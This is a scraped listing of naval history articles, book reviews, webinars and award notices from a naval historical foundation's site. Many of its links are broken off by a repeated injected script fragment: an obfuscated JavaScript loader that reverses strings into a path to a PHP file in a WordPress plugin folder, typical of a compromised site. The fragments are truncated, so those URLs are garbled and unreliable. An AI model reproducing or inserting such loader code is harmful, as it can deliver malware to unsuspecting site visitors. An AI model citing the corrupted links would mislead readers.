- [The Life and Legacy of Rear Admiral Grace Hopper](https://navyhistory.org/2019/09/rear-admiral-grace-hopper/) - The Legacy of Rear Admiral Grace Hopper By Naval Historical Foundation Membership Director - Sean Bland When I was a student at Yale, it was announced that two new residential colleges would be built on campus to expand the size of the student body. Immediately, my fellow students began to petition for these new colleges
- [Landing a Cargo Plane on a Postage Stamp](https://navyhistory.org/2019/10/landing-a-cargo-plane/) - Introduction By NHF Membership Director, Sean Bland I have always been fascinated with the C-130 Airplane - it is a tough, rugged, and no-nonsense aircraft. I am confident that some of my fascination with the vehicle was at least unconsciously imparted to me from my numerous 'Space A" flights as a child across the Northern
- [Heroes of Coastal Command: The RAF’s Maritime War 1939-1945](https://navyhistory.org/2020/01/heroes-of-coastal-command-the-raf/) - Heroes of Coastal Command: The RAF’s Maritime War 1939-1945By Andrew D. Bird, Frontline Books, Barnsley, UK, (2018). Reviewed by Charles H. Bogart. Charles is a frequent contributor to Naval History Book Reviews.Click here to buy Heroes of Coastal Command: The RAF's Maritime War 1939 - 1945 now!
- [Sand and Steel: The D-Day Invasion and the Liberation of France](https://navyhistory.org/2020/02/sand-steel-d-day/) - Review by LtCol Jack Harris, USMC (Ret.)The invasion of Normandy in June of 1944 was possibly the greatest endeavor in the history of mankind and Peter Caddick-Adams’s new book is possibly the best book written on the subject. Caddick-Adams’s fourth book follows in the pattern set by Monte Cassino: Ten Armies in Hell, Snow and
- [Paul Nitze, Grand Strategy, and the United States Navy](https://navyhistory.org/2020/03/paul-nitze-grand-strategy/) - Fifteen years ago today (March 5, 2005), the USS Nitze (DDG-94) was commissioned. An Arleigh Burke-class destroyer, Nitze has deployed many times in her service history, and was involved in a confrontation with Iranian vessels in August of 2016. She was named for former Secretary of the Navy Paul Nitze - Nitze served in this capacity under President Lyndon Johnson from 1963 to 1967,
- ["The Great Pandemic"](https://navyhistory.org/2020/03/the-great-pandemic/) - This article is a reprint from Ready Then, Ready Now, Ready Always: More than a Century of Service by Citizen-Sailors By NHF Historian Dr. Dave Winkler Navy nurse Josie Brown reflected on the horrible ordeal that she and her colleagues had to confront in 1918: The morgues were packed almost to the ceiling with bodies stacked
- [Commander William Bill Ault and the Battle of the Coral Sea](https://navyhistory.org/2020/05/commander-william-bill-ault-coral-sea/) - Repairing an SBD Dauntless | Northrup Grumman Naval History News, Resources, and Anniversaries:
- [Britain’s Island Fortresses: Defence of the Empire 1756-1956](https://navyhistory.org/2020/06/britains-island-fortresses/) - Reviewed by CDR Derek R. Fix, USN. In Britain’s Island Fortresses, Bill Clements, a former British Army officer and Defense Attaché, provides a detailed account of the evolution of the defenses of the British empire’s strategic overseas island bases. Clements is well-suited to the task, having written two previous books on British fortifications. This book
- [Lincoln Takes Command: The Campaign to Seize Norfolk and the Destruction of the CSS Virginia](https://navyhistory.org/2020/07/lincoln-takes-command/) - Reviewed by John Grady. If it's a clear day and you stand on Fort Monroe's ramparts, you can see the edge of the "carrier piers" at the Norfolk Naval Station. There, a few miles away across Hampton Roads, are usually two of the nation's largest warships -- either ready for deployment or just returned. If
- [Herman Wouk and the Caine Mutiny: The Book and Movie, and Naval History — Second Saturday Webinar](https://navyhistory.org/2020/09/herman-wouk-and-the-caine-mutiny/)
- [From Texas to Tinian and Tokyo Bay:  The Memoirs of Captain J. R. Ritter, Seabee Commander during the Pacific War, 1942-1945](https://navyhistory.org/2020/10/from-texas-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Reviewed by Diana Ahmad James “Rex” Ritter joined the United States Navy’s Seabee Battalions at the start of World War II, as well as the birth of the Seabee units. From Texas to Tinian and Tokyo Bay looks at the contributions of the editor’s grandfather and his men during World War II Alaska and the
- [Normandy 1944: German Military Organization, Combat Power and Organizational Effectiveness](https://navyhistory.org/2020/11/normandy-1944-german-military-organization/) - Reviewed by Col Jody Owens. The Allied forces began Operation Overlord on June 6, 1944. The battle continued until late August with the escape of German forces through the Falaise Gap. This roughly three-month clash became one of military history’s most famous battles. In the 76 years since the pitched battle occurred, countless historians, military
- [God and Sea Power: The Influence of Religion on Alfred Thayer Mahan](https://navyhistory.org/2020/12/god-and-sea-power/) - Reviewed by ENS Sean Bland, USNR (Chaplain Candidate) I first encountered Alfred Thayer Mahan as an undergraduate student in Professor Paul Kennedy’s “Military History of the West Since 1500” course at Yale. Mahan was studied in-depth and championed as the premier naval historian and strategist of the modern world. Mahan’s personal, religious convictions were, unsurprisingly,
- [NHF Mourns the Loss and Celebrates the Life of Senator John W. Warner](https://navyhistory.org/2021/05/nhf-mourns-the-loss-of-sena<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - A Statement From the Chairman of the Naval Historical Foundation Today we celebrate the life and mourn the passing of a great American patriot, John W. Warner, the epitome of the Virginia gentleman. Serving as an enlisted Sailor in the Navy during World War II, and then in the Korean War as a Marine Corps officer,
- [The Expendable: The true story of Patrol Wing 10, PT Squadron 3, and a Navy Corpsman who refused to surrender when the Philippine Islands fell to Japan](https://navyhistory.org/2021/03/the-expendable-the-true-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - Reviewed by David F. Winkler, Ph.D. Earlier this year I had the pleasure of reviewing The Silver Waterfall: A Novel of the Battle of Midway by retired Captain Kevin Miller, I praised the value of well researched historical fiction as an effective means to convey past events to the reader. In The Expendable, author John
- [Crusader: General Don Starry and the Army of his Times](https://navyhistory.org/2021/04/crusader-general-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Reviewed by LTC Daniel P. Sukman, USA Establishing himself as a military historian and biographer, author Mike Guardia has published well-known books in military circles, chronicling the leadership of General Hal Moore, the battle of 73 Easting, and the history of combat platforms such as the Mig-25 and the F-15. In his latest book, Crusader:
- [Taranto and Naval Air Warfare in the Mediterranean](https://navyhistory.org/2021/05/taran<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Reviewed by Charles C. Kolb, PhD David Hobbs, MBE served in the Royal Navy from 1964 until 1997 and retired as a Fleet Air Arm pilot with the rank of Commander. He qualified as both a fixed and rotary wing pilot, logged 2,300 hours with over 800 carrier landings (150 at night), and served on
- [Foxtrot in Kandahar: A Memoir of a CIA Officer in Afghanistan at the Inception of America's Longest War](https://navyhistory.org/2021/05/foxtrot-in-kandahar/) - Reviewed by Lt. Col. Trey Guy, USA Foxtrot in Kandahar: A Memoir of a CIA Officer in Afghanistan at the Inception of America’s Longest War is the second book and first work of non-fiction from Duane Evans, a retired Central Intelligence Agency (CIA) Operations Officer. This riveting snapshot memoir focuses on Evans’ experiences in Afghanistan
- [They're Killing My Boys: The History of Hickam Field and the Attacks of 7 December 1941](https://navyhistory.org/2021/06/theyre-killing-my-boys-the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - Reviewed by Lt. Col. Michael D. Miller, USAF When considering the 7 December 1941 attack on the U.S. military forces on Oahu, the sinking battleships of the devastated Pacific Fleet are the first images that may come to mind. The Pearl Harbor Tactical Studies Series examines the island’s airfields as part of the larger attack and
- [Rain of Steel: Mitscher’s Task Force 58, Ugaki’s Thunder Gods, and the Kamikaze War off Okinawa](https://navyhistory.org/2021/06/rain-of-steel-mitschers-task-force-58-ugakis-thunder-gods/) - Reviewed by Diana L. Ahmad, Ph.D. Author of over a dozen books about World War II, Stephen L. Moore adds to his bibliography with a wonderful analysis of the Spring 1945 Pacific Campaign for Okinawa. As expected by the title of the work, the first chapters are devoted to telling readers who Vice Admiral Marc
- [Britain and the Ocean Road: Shipwrecks and People, 1297-1825](https://navyhistory.org/2021/06/britainand-the-ocean-road/) - Reviewed by Rory McAlevy To study history is to study people, and Ian Friel captures that exquisitely in “Britain and the Ocean Road.” His work centers on the individual human experiences that illustrate the story of Britain's ascendency to a dominant ocean power. Armed with this poignant narrative lens, Friel traces a national heritage of
- [The Ten Thousand-Day War at Sea: The U.S. Navy in Vietnam (1950-1975)](https://navyhistory.org/2021/07/the-ten-thousand-day-war-at-sea/) - Reviewed by Major Chris Ketcherside, USMC (Ret.) The Ten Thousand-Day War at Sea is a companion book to the Hampton Roads Naval Museum’s exhibit of the same name, though it does hold up well enough on its own as a short summation of all U.S. Naval operations during the conflict in Vietnam. The book is
- [Washington's Engineer: Louis Duportail and the Creation of an Army Corps](https://navyhistory.org/2021/07/washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Reviewed by Capt. Charles “Herb” Gilliland, USN (Ret.) Raise your hand if you’ve heard of Lafayette! Now keep it up if you’ve heard of Louis Duportail! I thought not. This reviewer knew nothing of Duportail either before reading this book, in which Prof. Norman Desmarais presents strong evidence that such obscurity is undeserved. As the
- [Unlike Anything That Ever Floated: The Monitor and Virginia and the Battle of Hampton Roads, March 8-9, 1862](https://navyhistory.org/2021/08/unlike-anything-that-ever-floated-the-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-ega/) - Reviewed by CAPT Derek R. Fix, USN Unlike Anything That Ever Floated is one of the newest additions to the Savas Beattie Emerging Civil War Series, which offers compelling, easy-to-read overviews of some of the Civil War’s most important battles and stories. Author Dwight Sturtevant Hughes provides a captivating narrative of the Battle of Hampton
- [Turret Versus Broadside: An Anatomy of British Naval Prestige, Revolution and Disaster, 1860-1870](https://navyhistory.org/2021/08/turret-versus-broadside-an-ana<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - Reviewed by Dr. Joseph Moretz In Turret Versus Broadside, Howard J. Fuller, a Reader in War Studies at the University of Wolverhampton in Great Britain, relates the history of the Royal Navy’s struggle to retain maritime supremacy in the face of ironclad warships innovated by the U.S. Navy during the Civil War. The engagement between
- [Guidelines for the Leader and the Commander](https://navyhistory.org/2021/08/guidelines-for-the-leader-and-commander/) - Reviewed by Major Chris Ketcherside, USMC (Ret.) Guidelines for the Leader and the Commander is a collection of chapters, lectures, and manual excerpts General Clarke penned over the course of his career based on his hard-won experiences in positions of leadership in World War I, World War II, and the Korean War, as well as
- [Bletchley Park’s Secret Source: Churchill’s Wrens and the Y Service in World War II](https://navyhistory.org/2021/08/bletchley-parks-secret-source-churchills-wrens/) - Reviewed by Anton K. Smith Too little is written about the roles and sacrifices of professional women contributing to the war effort in World War II. An established author, renowned historian, and former British sailor, Peter Hore works to correct the deficit in this new book about Britain’s Women’s Royal Navy Service, whose members quickly became
- ["Go Find Him and Bring Me Back his Hat": The Royal Navy's Anti-Submarine Campaign in the Falklands/Malvinas War](https://navyhistory.org/2021/08/go-find-him-and-bring-me-back-his-hat/) - Reviewed by Jeff Schultz Mariano Sciaroni and Andy Smith’s “Go Find Him and Bring Me Back His Hat”: The Royal Navy’s Anti-Submarine Campaign in the Falklands/Malvinas War is an important look at the relatively obscure rivalry between a few Argentine diesel submarines and the Royal Navy’s anti-submarine defenses such as helicopters, warships and the Royal
- [The Falklands War: There and Back Again-The Story of Naval Party 8901](https://navyhistory.org/2021/08/the-falklands-war/) - Reviewed By Jeff Schultz Mike Norman and Michael Jones’ The Falklands War: There and Back Again - The Story of Naval Party 8901 is a gripping memoir of the 1982 Falklands/Malvinas War told from the perspective of the Royal Marine commander of Naval Party 8901 (NP-8901), the British troops assigned to defend the islands. NP-8901
- [Life and Death at Cape Disappointment: Becoming a Surfman on the Columbia River Bar](https://navyhistory.org/2021/08/life-and-death-cape-disappointment/) - Reviewed by LCDR Donald A. Baker, USN An ancient Jewish teacher once said, “Greater love has no one than this, than to lay down one’s life for their friends.” If risk to life and limb is any indication of an individual’s commitment to this ideal, then Coastguardsman Chris D’Amelio’s very personal and intimate account of
- [Crisis at the Chesapeake: The Royal Navy and the Struggle for America 1775-1783](https://navyhistory.org/2021/09/crisis-at-the-chesapeake-the-royal-navy/) - Reviewed by Joseph Moretz, PhD The story of the American War of Independence has oft been told but rather less has been said of the maritime portion of that story and less still has been told from the perspective of the Royal Navy. It is to this end that Quintin Barry, a retired solicitor and
- [The Lives They Saved: The Untold Story of Medics, Mariners and the Incredible Boatlift that Evacuated Nearly 300,000 People on 9/11](https://navyhistory.org/2021/09/the-lives-they-saved-the-un<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - Reviewed by Master Chief David Mattingly, USN (Ret.) One need only mention 9/11 and most people will recall the confusion that spilled from televisions and radios throughout the country. September 11, 2001 was a beautiful day with clear skies in New York when the world turned upside down as two planes careened into the World
- [Holding the Line: The Naval Air Campaign in Korea](https://navyhistory.org/2021/09/holding-the-line-the-naval-air-campaign-in-korea/) - Reviewed by Major Chris Ketcherside, USMC (Ret.) Thomas McKelvey Cleaver’s Holding the Line focuses on carrier-based U.S. naval aviation operations during the Korean conflict. He also touches on related subjects including events on the ground, U.S. Air Force operations and British naval aviation operations. His primary argument seems to be that naval aviation excelled at
- [The Lancastria Tragedy: Sinking and Cover-Up, June 1940](https://navyhistory.org/2021/09/the-lancastria-tragedy/) - Reviewed by Charles C. Kolb, PhD The sinking of HMT Lancastria on June 17, 1940, is an intriguing chapter of naval history in World War II primarily because of the tragic loss of life and how much information pertaining to the event was—and still is—classified. The numbers of passengers aboard, survivors, and casualties are unreported
- [Inside the U.S. Navy of 1812-1815](https://navyhistory.org/2021/09/inside-the-u-s-navy-of-1812-1815/) - Reviewed by Dr. Diana Ahmad A US Navy veteran, author, editor, and former director of the Naval Historical Center, William S. Dudley has written a wonderful volume that analyzes the administration and logistics of the Navy during the War of 1812. Dudley focuses on the problems surrounding ship building, provisioning, recruitment, transportation of goods and men,
- [The Abalone Ukulele: A Tale of Far Eastern Intrigue](https://navyhistory.org/2021/09/the-abalone-ukulele-a-tale-of-far-eastern-intrigue/) - Reviewed by David F. Winkler, PhD One of the pleasures of being the staff historian at the Naval Historical Foundation is to look over the numerous books that arrive at 1306 Dahlgren, sent by publishers and authors with an aim to get some publicity through a book review in our “Naval History Book Review” section
- [Vice Admiral Robert F. Dunn NROTC Prizes](https://navyhistory.org/2020/06/vice-admiral-robert-f-dunn-nrotc-prizes/) - While the Naval Historical Foundation (NHF) has long facilitated an opportunity for the U.S. Naval Academy to bestow an honor for one of our future naval officers, it has not done so for NROTC units, which collectively constitute the largest commissioning source for naval officers. The Vice Admiral Robert F. Dunn Prizes are intended to
- [In the Claws of the Tomcat: US Navy F-14 Tomcat in Combat, 1987-2000](https://navyhistory.org/2021/09/in-the-claws-of-the-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - Reviewed by LCDR Bryan Hayes, USN (Ret.) In the Claws of the Tomcat is a thoroughly researched and detailed book about U.S. Navy F-14 operations in the Middle East, including Operation Desert Storm and other less-known encounters between U.S. aircraft and Iranian and Iraqi adversaries. I highly recommend it to serious students of naval aviation
- [Art of the Sea: The Works of Arthur Beaumont – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/08/art-of-the-sea-the-works-of-arthur-beaumont-second-saturday-webinar/) - We are joined this month by The Honorable Steven Honigman, Geoffrey Beaumont, the son of artist Arthur Beaumont, and Navy Art curator, Gale Munro. Join us as we discuss the important work of Navy painter Arthur Beaumont.
- [Batter Up! Exploring the Role Major Leaguers Played in the USN in WWII – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/07/batter-up-exploring-the-role-major-leaguers-played-in-the-usn-in-wwii-second-saturday-webinar/)
- [Riverine Craft of the Vietnam Wars](https://navyhistory.org/2021/07/riverine-craft-of-the-vietnam-wars/) - Reviewed by Mr. Tom Phillips, USN (Ret.) This 8.5x11.5-inch booklet of 64 pages is #26 of 30 in a series by Ship Craft. As such, it is less likely to appeal to historians than advanced scale modelers with a bent for customizing standard scale models into works of fascinating art. The author, Roger Branfill-Cook, has
- [The Anchored Roots of Naval History: American Export Explores Storied Family Past at Navy Department Library](https://navyhistory.org/2014/10/the-anchored-roots-of-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - “Every family has a history. Every family has a story. This helps explain why you are the way you are.”
- [Society of Sponsors Visit NHHC Facilities](https://navyhistory.org/2015/04/society-of-sponsors-visit-nhhc-facilities/) - This past Monday, several members of the Society of Sponsors of the United States Navy came to the Washington Navy Yard to tour their facilities and interact with staff members of the Naval History and Heritage Command (NHHC)
- [Mediterranean Naval Battles that Changed the World](https://navyhistory.org/2021/07/mediterranean-naval-battles-that-changed-the-world/) - Reviewed by Charles C. Kolb, Ph.D. This unique volume is a compilation focusing on seven major naval engagements from ancient times to the modern era that illustrates the significance of controlling the Mediterranean Sea. The author, Quentin Russell, earned a doctorate in 19th Century Anglo-Greek relations from Royal Holloway, University of London, and co-authored Ali Pasha:
- [2021 National History Day Awards](https://navyhistory.org/2021/07/2021-national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Two students and seven teachers from around the country were awarded prizes by the Naval Historical Foundation (NHF) for outstanding projects with naval/maritime themes in the annual National History Day (NHD) competition that concluded June 19. Winners of the coveted NHF Coskey Prizes for Naval History were Jessie Henderson of Bradley Central High School in Cleveland, TN,
- [Breaking Seas, Broken Ships: People, Shipwrecks & Britain, 1854-2007](https://navyhistory.org/2021/07/friel/) - Reviewed by Rory McAlevy How do you explore the last 150 years of British seafaring history in just one book? One shipwreck at a time, according to the author of Breaking Seas, Broken Ships: People, Shipwrecks & Britain, 1854-2007. Ian Friel followed Britain and the Ocean Road, a deft and historically sound coverage of the
- [Commodore Dudley W. Knox Luncheon for 2020 Awardees - August 12, 2021](https://navyhistory.org/2021/06/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Thursday, August 12 2021 11:30 AM – 1:00 PM [EDT] Army Navy Country Club, 1700 Army Navy Drive, Arlington, Virginia, 22202, United States. In 2013 the Naval Historical Foundation (NHF) initiated the Commodore Dudley W. Knox Medal presentation to acknowledge a lifetime body of work that embraces scholarship, leadership, and mentoring in the field of
- [Operation I-Go: Yamamoto's Last Offensive—New Guinea and the Solomons, April 1943](https://navyhistory.org/2021/06/operation-i-go/) - Reviewed by Jeff Schultz Michael Claringbould’s Operation I-Go: Yamamoto’s Last Offensive — New Guinea and the Solomons, April 1943 skillfully utilizes Japanese and Allied sources to thoroughly investigate Operation I-Go, an aerial operation set against the backdrop of the March-April 1943 Pacific War. While this ambitious operation employed a large number of Imperial Japanese Navy
- [Commodore Dudley W. Knox Award Banquet - September 24, 2021](https://navyhistory.org/2021/06/2021-commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Friday, September 24 2021 6:00 PM - 10:00 PM [EDT] DoubleTree by Hilton Hotel Annapolis, 210 Holiday Court, Annapolis, Maryland, 21401, United States. In 2013 the Naval Historical Foundation (NHF) initiated the Commodore Dudley W. Knox Medal presentation to acknowledge a lifetime body of work that embraces scholarship, leadership, and mentoring in the field of
- [Heroes of the RNLI: The Storm Warriors](https://navyhistory.org/2021/06/heroes-of-the-rnli-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/re/) - Reviewed by Ingo Heidbrink Martyn R. Beardsley’s new book Heroes of the RNLI: The Storm Warriors tells the stories of the men of the Royal National Lifeboat Institution (RNLI), an institution that is not only one of the better-known maritime rescue services but also a national icon in the United Kingdom. From the 1820s up
- [TOP GUN — Annual Leighton Lecture](https://navyhistory.org/2021/06/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - The Top Gun program's founder, Captain Dan Pedersen, discusses the origins of the Naval Weapons Fighter School. In the subsequent Q&A, we are joined by Top Gun graduates, Vice Adm. Walter E. “Ted” (Slapshot) Carter, USN (Ret.), and Vice Adm. Thomas (Killer) Kilcline, USN (Ret.).
- [2021 Virtual Annual Meeting](https://navyhistory.org/2021/05/2021-virtual-annual-meeting/)
- [Kamikaze: Japan's Last Bid for Victory](https://navyhistory.org/2021/06/kamikaze-japans-last-bid-for-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/st/) - Reviewed by Diana L. Ahmad, Ph.D. The Kamikaze, a well-known unit of the Japanese military in World War II, still fascinates many students of war history. Having just read Rain of Steel: Mitscher’s Task Force 58, Ugaki’s Thunder Gods, and the Kamikaze War off Okinawa, by Stephen L. Moore, I found Stewart’s book a good
- [Vengeance Strikes the Blow: A Novel of the Battle of Midway](https://navyhistory.org/2021/06/vengeance-strikes-the-blow-a-novel-of-the-battle-of-midway/) - Reviewed by Tyler Robinson Vengeance Strikes the Blow is a remarkably vivid and grounded read, particularly given that it is such a departure from G. Alvin Simons’ prior historical-fiction novel, Odin-Son: The Berserk Saga. Much of the text reads as Socratic dialogue on the subject of tactics, not unlike Niccolo Macchiavelli’s The Art of War. The tone is also
- [Artificial Intelligence Is America’s Achilles Heel Against China](https://navyhistory.org/2021/05/artificial-intelligence-is-americas-achilles-heel-against-china/) - By ADM James Stavridis, USN (Ret.) Originally published in Bloomberg – May 20 2021 With the release of the much-anticipated National Security Commission on Artificial Intelligence report, the U.S. must confront an inconvenient truth: America, in the words of co-chairmen Eric Schmidt and Bob Work, “is not prepared to defend or compete in the AI era.” Schmidt, the
- [2034: A Novel of the Next World War](https://navyhistory.org/2021/05/2034-a-novel-of-the-next-world-war/) - Reviewed by Steve Ryan Very senior policymakers on occasion use fiction as a way to win our attention. For example, during the perilous 1980s, Sir John Hackett, a retired British general who fought with the British Red Devil paratroopers in the doomed Arnhem campaign in 1944, wrote The Third World War: August 1985, which was
- [BOOK REVIEW - <em>HMS Wasp</em>](https://navyhistory.org/2015/02/book-review-hms-wasp/) - Holloway has written an engaging first novel. The reader quickly becomes involved with the characters. Holloway’s descriptions of events are not graphic and leave much to the imagination, as befits a story set in the 1950s.
- [Battlecrusier Repulse: Detailed in the Original Builders' Plans](https://navyhistory.org/2021/05/battlecrusier-repulse-detailed-in-the-original-builders-plans/) - Reviewed by Ed Calouro John Roberts, a leading expert on British capital ships and warships of World War II, is the author of a technical history of the battle cruiser HMS Repulse. The title of his latest book is Battlecruiser Repulse: Detailed in the Original Builders’ Plans. It is not the typical warship biography - normally a narrative
- [British Naval Intelligence Through the Twentieth Century](https://navyhistory.org/2021/05/british-naval-intelligence-through-the-twentieth-century/) - Reviewed by Joseph Moretz, PhD That navies require intelligence to operate effectively may pass largely without comment. So too that they acquire and assess raw data and then disseminate an end-product for their own needs no less than for the nation served. That the formal organizational underpinnings of this process are only of relatively recent
- [2021 Teacher of Distinction Awards](https://navyhistory.org/2021/05/2021-teacher-of-distinction-awards/) - For the fourth consecutive year, the Naval Historical Foundation (NHF) will once again present “Teacher of Distinction” awards to teachers whose students are recognized for outstanding projects at the annual National History Day (NHD) competition for middle and high school students nationwide. Inaugurated in 2018, these awards go to teachers whose students (i) receive
- [Nelson at Sea 250 — Second Saturday Webinar](https://navyhistory.org/2021/05/nelson-at-sea-250-second-saturday-webinar/)
- [Brown Water Bluejackets, Vietnam: The Navy in the Mekong Delta – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/04/brown-water-bluejackets-vietnam-the-navy-in-the-mekong-delta-second-saturday-webinar/) - The Naval Historical Foundation is dedicating this "Second Saturday" to the heroic actions of American Sailors who fought a rather unconventional naval war on the rivers and canals of the Mekong Delta during our involvement in the Vietnam War. Join with historians John Sherwood and Tom Cutler as they provide historical overviews of the U.S.
- [Churchill's Pirates: The Royal Naval Patrol Service in World War II](https://navyhistory.org/2021/05/churchills-pirates-the-royal-naval-patrol-service-in-world-war-ii/) - Reviewed by Ingo Heidbrink With more than 1500 craft operating during World War II the Royal Naval Patrol Service (RNPS) was a fleet of substantial size, but as these craft were mainly converted trawlers, fuel carriers, and motor launches with some corvettes and sea plane tenders it is also a fleet often overlooked by naval
- [Volunteers Needed: Naval History and Heritage Command, Photo Section](https://navyhistory.org/2012/02/volunteers-needed-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - The Photograph Section at the Naval History & Heritage Command is announcing a call for volunteers in and out of the DC Metro area.
- [Call for Papers: Britain and the Sea](https://navyhistory.org/2012/02/call-for-papers-britain/) - "Britain and the Sea: The Maritime Sphere and the Past, Present and Future of the UK" Conference will examine the relationship between Great Britain and the Sea
- [CNO and Symonds Talks Highlight 2012 Midway Commemoration Dinner Event](https://navyhistory.org/2012/06/cno-symonds/) - Chief of Naval Operations and seven veterans of the Battle of Midway were among those who gathered for a commemorative dinner in honor of the battle
- [NHF Annual Meeting and Ribbon Cutting of New Museum Exhibit](https://navyhistory.org/2012/06/nhf-annual-meeting/) - The Naval Historical Foundation 2012 Annual Meeting was held on Saturday, 23 June, and featured the debut of a brand new exhibit for the Cold War Gallery.
- [Call for Papers: Navy and Nation, 1688 to the Present](https://navyhistory.org/2012/07/call-for-papers-navy/) - July 2013 the National Maritime Museum will host major conference addressing the interconnections between the Royal Navy and Britain from 1688 to present day
- [Status Report: USS <em>Texas</em> Flooding and Emergency Repairs](https://navyhistory.org/2012/07/uss-texas-flooding/) - On morning of Saturday, 9 June 2012, USS Texas staff discovered leak that officials believe started sometime between Friday evening and early Saturday morning
- [Call for Papers: From Enemies to Allies - An International Conference on the War of 1812 and its Aftermath](https://navyhistory.org/2012/10/call-for-papers-from-enemies-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - War of 1812 Bicentennial Conference at the Naval Academy in Annapolis, Maryland, from June 12 to June 16, 2013.
- [BOOK REVIEW: Signed, SEALd and Delivered - A Jack Kane Thriller](https://navyhistory.org/2012/10/book-review-signed-seald/) - Signed, SEALd and Delivered, despite its awkward title, is a smoothly written tale of mystery and action set in real-world places all wrapped in one fairly small package. I recommend you take a look.
- [Lieutenant Gerald Ford and Typhoon Cobra](https://navyhistory.org/2013/02/lieutenant-gerald-ford/) - A clarification of the role of Lieutenant Gerald Ford, future 38th President of the United States, on board the aircraft carrier USS Monterey during Typhoon Cobra in 1944.
- [NHF Chairman ADM DeMars Donates Collection of Submarine and Aircraft Carrier Christening Photo Albums to Navy](https://navyhistory.org/2013/03/adm-demars-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Naval Historical Foundation Chairman Admiral Bruce DeMars, USN (Ret) donates nine photo albums of carrier and submarine christenings to Navy's photo collection
- [2013 Submarine History Seminar: <em>Seawolf</em> and the Maritime Strategy](https://navyhistory.org/2013/03/2013-submarine-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - 2013 Submarine History Seminar: Seawolf and the Maritime Strategy, Examining the Relationship of Policy, Strategy, Technology, Tactics, and Acquisition
- [Call for Papers: ‘Strategy and the Sea’ - An International Conference in Honour of Professor John B. Hattendorf](https://navyhistory.org/2013/07/call-for-papers-strategy/) - A conference will be held in Oxford to celebrate professor John B. Hattendorf’s leading contribution to naval history.
- [Call for Proposals: Sessions, Panels, Papers on Sea Literature, History, and Culture](https://navyhistory.org/2013/09/call-for-proposals-sessions-panels-papers-on-sea-literature-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn./) - Popular Culture & American Culture Associations National Conference
